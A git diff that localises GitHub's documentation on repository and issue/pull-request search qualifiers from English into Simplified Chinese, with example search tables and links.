-| <code>followers:<em>n</em></code> | [**node followers:>=10000**](https://github.com/search?q=node+followers%3A%3E%3D10000) matches repositories with 10,000 or more followers mentioning the word "node".
-| | [**styleguide linter followers:1..10**](https://github.com/search?q=styleguide+linter+followers%3A1..10&type=Repositories) matches repositories with between 1 and 10 followers, mentioning the word "styleguide linter."
+| 限定符                       | 示例                                                                                                                                                                          |
+| ------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| <code>followers:<em>n</em></code> | [**node followers:>=10000**](https://github.com/search?q=node+followers%3A%3E%3D10000) 匹配有 10,000 或更多关注者提及文字 "node" 的仓库。                                                    |
+|                           | [**styleguide linter followers:1..10**](https://github.com/search?q=styleguide+linter+followers%3A1..10&type=Repositories) 匹配拥有 1 到 10 个关注者并且提及 "styleguide linter" 一词的的仓库。 |
 
-## Search by number of forks
+## 按复刻数量搜索
 
-The `forks` qualifier specifies the number of forks a repository should have, using greater than, less than, and range qualifiers. For more information, see "[Understanding the search syntax](/github/searching-for-information-on-github/understanding-the-search-syntax)."
+`forks` 限定符使用大于、小于和范围限定符指定仓库应具有的复刻数量。 更多信息请参阅“[了解搜索语法](/github/searching-for-information-on-github/understanding-the-search-syntax)”。
 
-| Qualifier  | Example
-| ------------- | -------------
-| <code>forks:<em>n</em></code> | [**forks:5**](https://github.com/search?q=forks%3A5&type=Repositories) matches repositories with only five forks.
-| | [**forks:&gt;=205**](https://github.com/search?q=forks%3A%3E%3D205&type=Repositories) matches repositories with at least 205 forks.
-| | [**forks:&lt;90**](https://github.com/search?q=forks%3A%3C90&type=Repositories) matches repositories with fewer than 90 forks.
-| | [**forks:10..20**](https://github.com/search?q=forks%3A10..20&type=Repositories) matches repositories with 10 to 20 forks.
+| 限定符                       | 示例                                                                                                             |
+| ------------------------- | -------------------------------------------------------------------------------------------------------------- |
+| <code>forks:<em>n</em></code> | [**forks:5**](https://github.com/search?q=forks%3A5&type=Repositories) 匹配只有 5 个复刻的仓库。                          |
+|                           | [**forks:&gt;=205**](https://github.com/search?q=forks%3A%3E%3D205&type=Repositories) 匹配具有至少 205 个复刻的仓库。 |
+|                           | [**forks:&lt;90**](https://github.com/search?q=forks%3A%3C90&type=Repositories) 匹配具有少于 90 个复刻的仓库。        |
+|                           | [**forks:10..20**](https://github.com/search?q=forks%3A10..20&type=Repositories) 匹配具有 10 到 20 个复刻的仓库。          |
 
-## Search by number of stars
+## 按星号数量搜索
 
-You can search repositories based on the number of stars the repositories have, using greater than, less than, and range qualifiers. For more information, see "[Saving repositories with stars](/github/getting-started-with-github/saving-repositories-with-stars)" and "[Understanding the search syntax](/github/searching-for-information-on-github/understanding-the-search-syntax)."
+您可以使用大于、小于和范围限定符，基于仓库的星标数量来搜索仓库。 更多信息请参阅“[使用星标保存仓库](/github/getting-started-with-github/saving-repositories-with-stars)”和“[了解搜索语法](/github/searching-for-information-on-github/understanding-the-search-syntax)”。
 
-| Qualifier  | Example
-| ------------- | -------------
-| <code>stars:<em>n</em></code> | [**stars:500**](https://github.com/search?utf8=%E2%9C%93&q=stars%3A500&type=Repositories) matches repositories with exactly 500 stars.
-| | [**stars:10..20**](https://github.com/search?q=stars%3A10..20+size%3A%3C1000&type=Repositories) matches repositories 10 to 20 stars, that are smaller than 1000 KB.
-| | [**stars:&gt;=500 fork:true language:php**](https://github.com/search?q=stars%3A%3E%3D500+fork%3Atrue+language%3Aphp&type=Repositories) matches repositories with the at least 500 stars, including forked ones, that are written in PHP.
+| 限定符                       | 示例                                                                                                                                                                                 |
+| ------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| <code>stars:<em>n</em></code> | [**stars:500**](https://github.com/search?utf8=%E2%9C%93&q=stars%3A500&type=Repositories) 匹配恰好具有 500 个星号的仓库。                                                                       |
+|                           | [**stars:10..20**](https://github.com/search?q=stars%3A10..20+size%3A%3C1000&type=Repositories) 匹配具有 10 到 20 个星号、小于 1000 KB 的仓库。                                                   |
+|                           | [**stars:&gt;=500 fork:true language:php**](https://github.com/search?q=stars%3A%3E%3D500+fork%3Atrue+language%3Aphp&type=Repositories) 匹配具有至少 500 个星号，包括复刻的星号（以 PHP 编写）的仓库。 |
 
-## Search by when a repository was created or last updated
+## 按仓库创建或上次更新时间搜索
 
-You can filter repositories based on time of creation or time of last update. For repository creation, you can use the `created` qualifier; to find out when a repository was last updated, you'll want to use the `pushed` qualifier. The `pushed` qualifier will return a list of repositories, sorted by the most recent commit made on any branch in the repository.
+您可以基于创建时间或上次更新时间过滤仓库。 对于仓库创建，您可以使用 `created` 限定符；要了解仓库上次更新的时间，您要使用 `pushed` 限定符。 `pushed` 限定符将返回仓库列表，按仓库中任意分支上最近进行的提交排序。
 
-Both take a date as a parameter. {% data reusables.time_date.date_format %} {% data reusables.time_date.time_format %}
+两者均采用日期作为参数。 {% data reusables.time_date.date_format %} {% data reusables.time_date.time_format %}
 
 {% data reusables.search.date_gt_lt %}
 
-| Qualifier  | Example
-| ------------- | -------------
-| <code>created:<em>YYYY-MM-DD</em></code> | [**webos created:&lt;2011-01-01**](https://github.com/search?q=webos+created%3A%3C2011-01-01&type=Repositories) matches repositories with the word "webos" that were created before 2011.
-| <code>pushed:<em>YYYY-MM-DD</em></code> | [**css pushed:&gt;2013-02-01**](https://github.com/search?utf8=%E2%9C%93&q=css+pushed%3A%3E2013-02-01&type=Repositories) matches repositories with the word "css" that were pushed to after January 2013.
-| | [**case pushed:&gt;=2013-03-06 fork:only**](https://github.com/search?q=case+pushed%3A%3E%3D2013-03-06+fork%3Aonly&type=Repositories) matches repositories with the word "case" that were pushed to on or after March 6th, 2013, and that are forks.
+| 限定符                       | 示例                                                                                                                                                                                           |
+| ------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| <code>created:<em>YYYY-MM-DD</em></code> | [**webos created:&lt;2011-01-01**](https://github.com/search?q=webos+created%3A%3C2011-01-01&type=Repositories) 匹配具有 "webos" 字样、在 2011 年之前创建的仓库。                                       |
+| <code>pushed:<em>YYYY-MM-DD</em></code> | [**css pushed:&gt;2013-02-01**](https://github.com/search?utf8=%E2%9C%93&q=css+pushed%3A%3E2013-02-01&type=Repositories) 匹配具有 "css" 字样、在 2013 年 1 月之后收到推送的仓库。                          |
+|                           | [**case pushed:&gt;=2013-03-06 fork:only**](https://github.com/search?q=case+pushed%3A%3E%3D2013-03-06+fork%3Aonly&type=Repositories) 匹配具有 "case" 字样、在 2013 年 3 月 6 日或之后收到推送并且作为复刻的仓库。 |
 
-## Search by language
+## 按语言搜索
 
-You can search repositories based on the language of the code in the repositories.
+您可以根据仓库中代码的语言搜索仓库。
 
-| Qualifier  | Example
-| ------------- | -------------
-| <code>language:<em>LANGUAGE</em></code> | [**rails language:javascript**](https://github.com/search?q=rails+language%3Ajavascript&type=Repositories) matches repositories with the word "rails" that are written in JavaScript.
+| 限定符                       | 示例                                                                                                                                             |
+| ------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------- |
+| <code>language:<em>LANGUAGE</em></code> | [**rails language:javascript**](https://github.com/search?q=rails+language%3Ajavascript&type=Repositories) 匹配具有 "rails" 字样、以 JavaScript 编写的仓库。 |
 
-## Search by topic
+## 按主题搜索
 
-You can find all of the repositories that are classified with a particular topic. For more information, see "[Classifying your repository with topics](/github/administering-a-repository/classifying-your-repository-with-topics)."
+您可以找到按特定主题分类的所有仓库。 更多信息请参阅“[使用主题对仓库分类](/github/administering-a-repository/classifying-your-repository-with-topics)”。
 
-| Qualifier  | Example
-| ------------- | -------------
-| <code>topic:<em>TOPIC</em></code> | [**topic:jekyll**](https://github.com/search?utf8=%E2%9C%93&q=topic%3Ajekyll&type=Repositories&ref=searchresults) matches repositories that have been classified with the topic "jekyll."
+| 限定符                       | 示例                                                                                                                                      |
+| ------------------------- | --------------------------------------------------------------------------------------------------------------------------------------- |
+| <code>topic:<em>TOPIC</em></code> | [**topic:jekyll**](https://github.com/search?utf8=%E2%9C%93&q=topic%3Ajekyll&type=Repositories&ref=searchresults)匹配已归类为 "jekyll" 主题的仓库。 |
 
-## Search by number of topics
+## 按主题数量搜索
 
-You can search repositories by the number of topics that have been applied to the repositories, using the `topics` qualifier along with greater than, less than, and range qualifiers. For more information, see "[Classifying your repository with topics](/github/administering-a-repository/classifying-your-repository-with-topics)" and "[Understanding the search syntax](/github/searching-for-information-on-github/understanding-the-search-syntax)."
+您可以使用 `topics` 限定符以及大于、小于和范围限定符，根据应用于仓库的主题数量来搜索仓库。 更多信息请参阅“[使用主题对仓库分类](/github/administering-a-repository/classifying-your-repository-with-topics)”和“[了解搜索语法](/github/searching-for-information-on-github/understanding-the-search-syntax)”。
 
-| Qualifier  | Example
-| ------------- | -------------
-| <code>topics:<em>n</em></code> | [**topics:5**](https://github.com/search?utf8=%E2%9C%93&q=topics%3A5&type=Repositories&ref=searchresults) matches repositories that have five topics.
-| | [**topics:>3**](https://github.com/search?utf8=%E2%9C%93&q=topics%3A%3E3&type=Repositories&ref=searchresults) matches repositories that have more than three topics.
+| 限定符                        | 示例                                                                                                                         |
+| -------------------------- | -------------------------------------------------------------------------------------------------------------------------- |
+| <code>topics:<em>n</em></code> | [**topics:5**](https://github.com/search?utf8=%E2%9C%93&q=topics%3A5&type=Repositories&ref=searchresults) 匹配具有五个主题的仓库。     |
+|                            | [**topics:>3**](https://github.com/search?utf8=%E2%9C%93&q=topics%3A%3E3&type=Repositories&ref=searchresults) 匹配超过三个主题的仓库。 |
 
 {% ifversion fpt or ghes or ghec %}
 
-## Search by license
+## 按许可搜索
 
-You can search repositories by the type of license in the repositories. You must use a license keyword to filter repositories by a particular license or license family. For more information, see "[Licensing a repository](/github/creating-cloning-and-archiving-repositories/licensing-a-repository)."
+您可以根据仓库中许可的类型搜索仓库。 您必须使用许可关键字，按特定许可或许可系列来过滤仓库。 更多信息请参阅“[许可仓库](/github/creating-cloning-and-archiving-repositories/licensing-a-repository)”。
 
-| Qualifier  | Example
-| ------------- | -------------
-| <code>license:<em>LICENSE_KEYWORD</em></code> | [**license:apache-2.0**](https://github.com/search?utf8=%E2%9C%93&q=license%3Aapache-2.0&type=Repositories&ref=searchresults) matches repositories that are licensed under Apache License 2.0.
+| 限定符                        | 示例                                                                                                                                                           |
+| -------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------ |
+| <code>license:<em>LICENSE_KEYWORD</em></code> | [**license:apache-2.0**](https://github.com/search?utf8=%E2%9C%93&q=license%3Aapache-2.0&type=Repositories&ref=searchresults) 匹配根据 Apache License 2.0 授权的仓库。 |
 
 {% endif %}
 
-## Search by repository visibility
+## 按仓库可见性搜索
 
-You can filter your search based on the visibility of the repositories. For more information, see "[About repositories](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility)."
+您可以根据仓库的可见性过滤搜索。 更多信息请参阅“[关于仓库](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility)”。
 
-| Qualifier  | Example
-| ------------- | ------------- |{% ifversion fpt or ghes or ghec %}
-| `is:public` | [**is:public org:github**](https://github.com/search?q=is%3Apublic+org%3Agithub&type=Repositories) matches public repositories owned by {% data variables.product.company_short %}.{% endif %}{% ifversion ghes or ghec or ghae %}
-| `is:internal` | [**is:internal test**](https://github.com/search?q=is%3Ainternal+test&type=Repositories) matches internal repositories that you can access and contain the word "test".{% endif %}
-| `is:private` | [**is:private pages**](https://github.com/search?q=is%3Aprivate+pages&type=Repositories) matches private repositories that you can access and contain the word "pages."
+| Qualifier  | Example | ------------- | ------------- |{% ifversion fpt or ghes or ghec %} | `is:public` | [**is:public org:github**](https://github.com/search?q=is%3Apublic+org%3Agithub&type=Repositories) matches public repositories owned by {% data variables.product.company_short %}.{% endif %}{% ifversion ghes or ghec or ghae %} | `is:internal` | [**is:internal test**](https://github.com/search?q=is%3Ainternal+test&type=Repositories) matches internal repositories that you can access and contain the word "test".{% endif %} | `is:private` | [**is:private pages**](https://github.com/search?q=is%3Aprivate+pages&type=Repositories) matches private repositories that you can access and contain the word "pages."
 
 {% ifversion fpt or ghec %}
 
-## Search based on whether a repository is a mirror
+## 基于仓库是否为镜像搜索
 
-You can search repositories based on whether the repositories are mirrors and hosted elsewhere. For more information, see "[Finding ways to contribute to open source on {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github/finding-ways-to-contribute-to-open-source-on-github)."
+您可以根据仓库是否为镜像以及托管于其他位置托管来搜索仓库。 更多信息请参阅“[寻找在 {% data variables.product.prodname_dotcom %} 上参与开源项目的方法](/github/getting-started-with-github/finding-ways-to-contribute-to-open-source-on-github)”。
 
-| Qualifier  | Example
-| ------------- | -------------
-| `mirror:true` | [**mirror:true GNOME**](https://github.com/search?utf8=%E2%9C%93&q=mirror%3Atrue+GNOME&type=) matches repositories that are mirrors and contain the word "GNOME."
-|  `mirror:false` | [**mirror:false GNOME**](https://github.com/search?utf8=%E2%9C%93&q=mirror%3Afalse+GNOME&type=) matches repositories that are not mirrors and contain the word "GNOME."
+| 限定符            | 示例                                                                                                                       |
+| -------------- | ------------------------------------------------------------------------------------------------------------------------ |
+| `mirror:true`  | [**mirror:true GNOME**](https://github.com/search?utf8=%E2%9C%93&q=mirror%3Atrue+GNOME&type=) 匹配是镜像且包含 "GNOME" 字样的仓库。    |
+| `mirror:false` | [**mirror:false GNOME**](https://github.com/search?utf8=%E2%9C%93&q=mirror%3Afalse+GNOME&type=) 匹配并非镜像且包含 "GNOME" 字样的仓库。 |
 
 {% endif %}
 
-## Search based on whether a repository is archived
+## 基于仓库是否已存档搜索
 
-You can search repositories based on whether or not the repositories are archived. For more information, see "[Archiving repositories](/repositories/archiving-a-github-repository/archiving-repositories)."
+您可以基于仓库是否已存档来搜索仓库。 更多信息请参阅“[存档仓库](/repositories/archiving-a-github-repository/archiving-repositories)”。
 
-| Qualifier  | Example
-| ------------- | -------------
-| `archived:true` | [**archived:true GNOME**](https://github.com/search?utf8=%E2%9C%93&q=archived%3Atrue+GNOME&type=) matches repositories that are archived and contain the word "GNOME."
-|  `archived:false` | [**archived:false GNOME**](https://github.com/search?utf8=%E2%9C%93&q=archived%3Afalse+GNOME&type=) matches repositories that are not archived and contain the word "GNOME."
+| 限定符              | 示例                                                                                                                          |
+| ---------------- | --------------------------------------------------------------------------------------------------------------------------- |
+| `archived:true`  | [**archived:true GNOME**](https://github.com/search?utf8=%E2%9C%93&q=archived%3Atrue+GNOME&type=) 匹配已存档且包含 "GNOME" 字样的仓库。   |
+| `archived:false` | [**archived:false GNOME**](https://github.com/search?utf8=%E2%9C%93&q=archived%3Afalse+GNOME&type=) 匹配未存档且包含 "GNOME" 字样的仓库。 |
 
 {% ifversion fpt or ghec %}
 
-## Search based on number of issues with `good first issue` or `help wanted` labels
+## 基于具有 `good first issue` 或 `help wanted` 标签的议题数量搜索
 
-You can search for repositories that have a minimum number of issues labeled `help-wanted` or `good-first-issue` with the qualifiers `help-wanted-issues:>n` and `good-first-issues:>n`. For more information, see "[Encouraging helpful contributions to your project with labels](/communities/setting-up-your-project-for-healthy-contributions/encouraging-helpful-contributions-to-your-project-with-labels)."
+您可以使用限定符 `help-wanted-issues:>n` 和 `good-first-issues:>n` 搜索具有最少数量标签为 `help-wanted` 或 `good-first-issue` 议题的仓库。 更多信息请参阅“[通过标签鼓励对项目做出有益的贡献](/communities/setting-up-your-project-for-healthy-contributions/encouraging-helpful-contributions-to-your-project-with-labels)”。
 
-| Qualifier  | Example
-| ------------- | -------------
-| `good-first-issues:>n` | [**good-first-issues:&gt;2 javascript**](https://github.com/search?utf8=%E2%9C%93&q=javascript+good-first-issues%3A%3E2&type=) matches repositories with more than two issues labeled `good-first-issue` and that contain the word "javascript."
-| `help-wanted-issues:>n`|[**help-wanted-issues:&gt;4 react**](https://github.com/search?utf8=%E2%9C%93&q=react+help-wanted-issues%3A%3E4&type=) matches repositories with more than four issues labeled `help-wanted` and that contain the word "React."
+| 限定符                        | 示例                                                                                                                                                                                             |
+| -------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `good-first-issues:>n`  | [**good-first-issues:&gt;2 javascript**](https://github.com/search?utf8=%E2%9C%93&q=javascript+good-first-issues%3A%3E2&type=) 匹配具有超过两个标签为 `good-first-issue` 的议题且包含 "javascript" 字样的仓库。 |
+| `help-wanted-issues:>n` | [**help-wanted-issues:&gt;4 react**](https://github.com/search?utf8=%E2%9C%93&q=react+help-wanted-issues%3A%3E4&type=) 匹配具有超过四个标签为 `help-wanted` 的议题且包含 "React" 字样的仓库。                   |
 
-## Search based on ability to sponsor
+## 基于赞助能力的搜索
 
-You can search for repositories whose owners can be sponsored on {% data variables.product.prodname_sponsors %} with the `is:sponsorable` qualifier. For more information, see "[About {% data variables.product.prodname_sponsors %}](/sponsors/getting-started-with-github-sponsors/about-github-sponsors)."
+您可以使用 `is:sponsorable` 限定符在 {% data variables.product.prodname_sponsors %} 上搜索其所有者可以赞助的仓库。 更多信息请参阅“[关于 {% data variables.product.prodname_sponsors %}](/sponsors/getting-started-with-github-sponsors/about-github-sponsors)”。
 
-You can search for repositories that have a funding file using the `has:funding-file` qualifier. For more information, see "[About FUNDING files](/github/administering-a-repository/managing-repository-settings/displaying-a-sponsor-button-in-your-repository#about-funding-files)."
+您可以使用 `has:funding-file` 限定符搜索具有融资文件的仓库。 更多信息请参阅“[关于融资文件](/github/administering-a-repository/managing-repository-settings/displaying-a-sponsor-button-in-your-repository#about-funding-files)”。
 
-| Qualifier  | Example
-| ------------- | -------------
-| `is:sponsorable` | [**is:sponsorable**](https://github.com/search?q=is%3Asponsorable&type=Repositories) matches repositories whose owners have a {% data variables.product.prodname_sponsors %} profile.
-| `has:funding-file` | [**has:funding-file**](https://github.com/search?q=has%3Afunding-file&type=Repositories) matches repositories that have a FUNDING.yml file.
+| 限定符                | 示例                                                                                                                                                    |
+| ------------------ | ----------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `is:sponsorable`   | [**is:sponsorable**](https://github.com/search?q=is%3Asponsorable&type=Repositories) 匹配其所有者具有 {% data variables.product.prodname_sponsors %} 配置文件的仓库。 |
+| `has:funding-file` | [**has:funding-file**](https://github.com/search?q=has%3Afunding-file&type=Repositories) 匹配具有 FUNDING.yml 文件的仓库。                                      |
 
 {% endif %}
 
-## Further reading
+## 延伸阅读
 
-- "[Sorting search results](/search-github/getting-started-with-searching-on-github/sorting-search-results/)"
-- "[Searching in forks](/search-github/searching-on-github/searching-in-forks)"
+- “[排序搜索结果](/search-github/getting-started-with-searching-on-github/sorting-search-results/)”
+- “[在复刻中搜索](/search-github/searching-on-github/searching-in-forks)”
diff --git a/translations/zh-CN/content/search-github/searching-on-github/searching-issues-and-pull-requests.md b/translations/zh-CN/content/search-github/searching-on-github/searching-issues-and-pull-requests.md
index d41e60cedd..12a6248d55 100644
--- a/translations/zh-CN/content/search-github/searching-on-github/searching-issues-and-pull-requests.md
+++ b/translations/zh-CN/content/search-github/searching-on-github/searching-issues-and-pull-requests.md
@@ -1,6 +1,6 @@
 ---
-title: Searching issues and pull requests
-intro: 'You can search for issues and pull requests on {% data variables.product.product_name %} and narrow the results using these search qualifiers in any combination.'
+title: 搜索议题和拉取请求
+intro: '您可以在 {% data variables.product.product_name %} 上搜索代码，并使用这些代码搜索限定符的任意组合缩小结果范围。'
 redirect_from:
   - /articles/searching-issues
   - /articles/searching-issues-and-pull-requests
@@ -13,338 +13,332 @@ versions:
   ghec: '*'
 topics:
   - GitHub search
-shortTitle: Search issues & PRs
+shortTitle: 搜索议题和 PR
 ---
-You can search for issues and pull requests globally across all of {% data variables.product.product_name %}, or search for issues and pull requests within a particular organization. For more information, see "[About searching on {% data variables.product.company_short %}](/search-github/getting-started-with-searching-on-github/about-searching-on-github)."
+
+您可以在所有 {% data variables.product.product_name %} 内全局搜索议题和拉取请求，也可以在特定组织内搜索议题和拉取请求。 更多信息请参阅“[关于在 {% data variables.product.company_short %} 上搜索](/search-github/getting-started-with-searching-on-github/about-searching-on-github)”。
 
 {% tip %}
 
-**Tips:**{% ifversion ghes or ghae %}
-  - This article contains example searches on the {% data variables.product.prodname_dotcom %}.com website, but you can use the same search filters on {% data variables.product.product_location %}.{% endif %}
-  - For a list of search syntaxes that you can add to any search qualifier to further improve your results, see "[Understanding the search syntax](/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax)".
-  - Use quotations around multi-word search terms. For example, if you want to search for issues with the label "In progress," you'd search for `label:"in progress"`. Search is not case sensitive.
+**提示：**{% ifversion ghes or ghae %}
+  - 本文章包含在 {% data variables.product.prodname_dotcom %}.com 网站上的示例搜索，但您可以在 {% data variables.product.product_location %} 上使用相同的搜索过滤器。{% endif %}
+  - 有关可以添加到任何搜索限定符以进一步改善结果的搜索语法列表，请参阅“[了解搜索语法](/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax)”。
+  - 对多个字词的搜索词使用引号。 例如，如果要搜索具有标签 "In progress" 的议题，可搜索 `label:"in progress"`。 搜索不区分大小写。
   - {% data reusables.search.search_issues_and_pull_requests_shortcut %}
 
   {% endtip %}
 
-## Search only issues or pull requests
+## 仅搜索议题或拉取请求
 
-By default, {% data variables.product.product_name %} search will return both issues and pull requests. However, you can restrict search results to just issues or pull requests using the `type` or `is` qualifier.
+默认情况下，{% data variables.product.product_name %} 搜索将返回议题和拉取请求。 但您可以使用 `type` 或 `is` 限定符将搜索结果限制为仅议题或拉取请求。
 
-| Qualifier  | Example
-| ------------- | -------------
-| `type:pr` | [**cat type:pr**](https://github.com/search?q=cat+type%3Apr&type=Issues) matches pull requests with the word "cat."
-| `type:issue` | [**github commenter:defunkt type:issue**](https://github.com/search?q=github+commenter%3Adefunkt+type%3Aissue&type=Issues) matches issues that contain the word "github," and have a comment by @defunkt.
-| `is:pr` | [**event is:pr**](https://github.com/search?utf8=%E2%9C%93&q=event+is%3Apr&type=) matches pull requests with the word "event."
-| `is:issue` | [**is:issue label:bug is:closed**](https://github.com/search?utf8=%E2%9C%93&q=is%3Aissue+label%3Abug+is%3Aclosed&type=) matches closed issues with the label "bug."
+| 限定符          | 示例                                                                                                                                                            |
+| ------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `type:pr`    | [**cat type:pr**](https://github.com/search?q=cat+type%3Apr&type=Issues) 匹配含有 "cat" 字样的拉取请求。                                                                  |
+| `type:issue` | [**github commenter:defunkt type:issue**](https://github.com/search?q=github+commenter%3Adefunkt+type%3Aissue&type=Issues) 匹配含有 "github" 字样且由 @defunkt 评论的议题。 |
+| `is:pr`      | [**event is:pr**](https://github.com/search?utf8=%E2%9C%93&q=event+is%3Apr&type=) 匹配含有 "event" 字样的拉取请求。                                                       |
+| `is:issue`   | [**is:issue label:bug is:closed**](https://github.com/search?utf8=%E2%9C%93&q=is%3Aissue+label%3Abug+is%3Aclosed&type=) 匹配具有标签 "bug" 的已关闭议题。                  |
 
-## Search by the title, body, or comments
+## 按标题、正文或评论搜索
 
-With the `in` qualifier you can restrict your search to the title, body, comments, or any combination of these. When you omit this qualifier, the title, body, and comments are all searched.
+通过 `in` 限定符，您可以将搜索限制为标题、正文、评论或这些的任意组合。 如果省略此限定符，则标题、正文和评论全部搜索。
 
-| Qualifier     | Example
-| ------------- | -------------
-| `in:title` | [**warning in:title**](https://github.com/search?q=warning+in%3Atitle&type=Issues) matches issues with "warning" in their title.
-| `in:body` | [**error in:title,body**](https://github.com/search?q=error+in%3Atitle%2Cbody&type=Issues) matches issues with "error" in their title or body.
-| `in:comments` | [**shipit in:comments**](https://github.com/search?q=shipit+in%3Acomment&type=Issues) matches issues mentioning "shipit" in their comments.
+| 限定符           | 示例                                                                                                                  |
+| ------------- | ------------------------------------------------------------------------------------------------------------------- |
+| `in:title`    | [**warning in:title**](https://github.com/search?q=warning+in%3Atitle&type=Issues) 匹配其标题中含有 "warning" 的议题。          |
+| `in:body`     | [**error in:title,body**](https://github.com/search?q=error+in%3Atitle%2Cbody&type=Issues) 匹配其标题或正文中含有 "error" 的议题。 |
+| `in:comments` | [**shipit in:comments**](https://github.com/search?q=shipit+in%3Acomment&type=Issues) 匹配其评论中提及 "shipit" 的议题。        |
 
-## Search within a user's or organization's repositories
+## 在用户或组织的仓库内搜索
 
-To search issues and pull requests in all repositories owned by a certain user or organization, you can use the  `user` or `org` qualifier. To search issues and pull requests in a specific repository, you can use the `repo` qualifier.
+要在特定用户或组织拥有的所有仓库中搜索议题和拉取请求，您可以使用 `user` 或 `org` 限定符。 要在特定仓库中搜索议题和拉取请求，您可以使用 `repo` 限定符。
 
 {% data reusables.pull_requests.large-search-workaround %}
 
 
-| Qualifier        | Example
-| ------------- | -------------
-| <code>user:<em>USERNAME</em></code> | [**user:defunkt ubuntu**](https://github.com/search?q=user%3Adefunkt+ubuntu&type=Issues) matches issues with the word "ubuntu" from repositories owned by @defunkt.
-| <code>org:<em>ORGNAME</em></code> | [**org:github**](https://github.com/search?q=org%3Agithub&type=Issues&utf8=%E2%9C%93) matches issues in repositories owned by the GitHub organization.
-| <code>repo:<em>USERNAME/REPOSITORY</em></code> | [**repo:mozilla/shumway created:<2012-03-01**](https://github.com/search?q=repo%3Amozilla%2Fshumway+created%3A%3C2012-03-01&type=Issues) matches issues from @mozilla's shumway project that were created before March 2012.
+| 限定符                       | 示例                                                                                                                                                                                       |
+| ------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| <code>user:<em>USERNAME</em></code> | [**user:defunkt ubuntu**](https://github.com/search?q=user%3Adefunkt+ubuntu&type=Issues) 匹配含有 "ubuntu" 字样、来自 @defunkt 拥有的仓库的议题。                                                          |
+| <code>org:<em>ORGNAME</em></code> | [**org:github**](https://github.com/search?q=org%3Agithub&type=Issues&utf8=%E2%9C%93) 匹配 GitHub 组织拥有的仓库中的议题。                                                                             |
+| <code>repo:<em>USERNAME/REPOSITORY</em></code> | [**repo:mozilla/shumway created:<2012-03-01**](https://github.com/search?q=repo%3Amozilla%2Fshumway+created%3A%3C2012-03-01&type=Issues) 匹配来自 @mozilla 的 shumway 项目、在 2012 年 3 月之前创建的议题。 |
 
 
 
-## Search by open or closed state
+## 按开放或关闭状态搜索
 
-You can filter issues and pull requests based on whether they're open or closed using the `state` or `is` qualifier.
+您可以使用 `state` 或 `is` 限定符基于议题和拉取请求处于打开还是关闭状态进行过滤。
 
-| Qualifier        | Example
-| ------------- | -------------
-| `state:open` | [**libraries state:open mentions:vmg**](https://github.com/search?utf8=%E2%9C%93&q=libraries+state%3Aopen+mentions%3Avmg&type=Issues) matches open issues that mention @vmg with the word "libraries."
-| `state:closed` | [**design state:closed in:body**](https://github.com/search?utf8=%E2%9C%93&q=design+state%3Aclosed+in%3Abody&type=Issues) matches closed issues with the word "design" in the body.
-| `is:open` | [**performance is:open is:issue**](https://github.com/search?q=performance+is%3Aopen+is%3Aissue&type=Issues) matches open issues with the word "performance."
-| `is:closed` | [**android is:closed**](https://github.com/search?utf8=%E2%9C%93&q=android+is%3Aclosed&type=) matches closed issues and pull requests with the word "android."
+| 限定符            | 示例                                                                                                                                                                       |
+| -------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
+| `state:open`   | [**libraries state:open mentions:vmg**](https://github.com/search?utf8=%E2%9C%93&q=libraries+state%3Aopen+mentions%3Avmg&type=Issues) 匹配提及 @vmg 且含有 "libraries" 字样的开放议题。 |
+| `state:closed` | [**design state:closed in:body**](https://github.com/search?utf8=%E2%9C%93&q=design+state%3Aclosed+in%3Abody&type=Issues) 匹配正文中含有 "design" 字样的已关闭议题。                     |
+| `is:open`      | [**performance is:open is:issue**](https://github.com/search?q=performance+is%3Aopen+is%3Aissue&type=Issues) 匹配含有 "performance" 字样的开放议题。                                 |
+| `is:closed`    | [**android is:closed**](https://github.com/search?utf8=%E2%9C%93&q=android+is%3Aclosed&type=) 匹配含有 "android" 字样的已关闭议题和拉取请求。                                              |
 
-## Filter by repository visibility
+## 按仓库可见性过滤
 
-You can filter by the visibility of the repository containing the issues and pull requests using the `is` qualifier. For more information, see "[About repositories](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility)."
+您可以使用 `is` 限定符，按包含议题和拉取请求的仓库的可见性进行过滤。 更多信息请参阅“[关于仓库](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility)”。
 
-| Qualifier  | Example
-| ------------- | ------------- |{% ifversion fpt or ghes or ghec %}
-| `is:public` | [**is:public**](https://github.com/search?q=is%3Apublic&type=Issues) matches issues and pull requests in public repositories.{% endif %}{% ifversion ghes or ghec or ghae %}
-| `is:internal` | [**is:internal**](https://github.com/search?q=is%3Ainternal&type=Issues) matches issues and pull requests in internal repositories.{% endif %}
-| `is:private` | [**is:private cupcake**](https://github.com/search?q=is%3Aprivate+cupcake&type=Issues) matches issues and pull requests that contain the word "cupcake" in private repositories you can access.
+| Qualifier  | Example | ------------- | ------------- |{% ifversion fpt or ghes or ghec %} | `is:public` | [**is:public**](https://github.com/search?q=is%3Apublic&type=Issues) matches issues and pull requests in public repositories.{% endif %}{% ifversion ghes or ghec or ghae %} | `is:internal` | [**is:internal**](https://github.com/search?q=is%3Ainternal&type=Issues) matches issues and pull requests in internal repositories.{% endif %} | `is:private` | [**is:private cupcake**](https://github.com/search?q=is%3Aprivate+cupcake&type=Issues) matches issues and pull requests that contain the word "cupcake" in private repositories you can access.
 
-## Search by author
+## 按作者搜索
 
-The `author` qualifier finds issues and pull requests created by a certain user or integration account.
+`author` 限定符查找由特定用户或集成帐户创建的议题和拉取请求。
 
-| Qualifier     | Example
-| ------------- | -------------
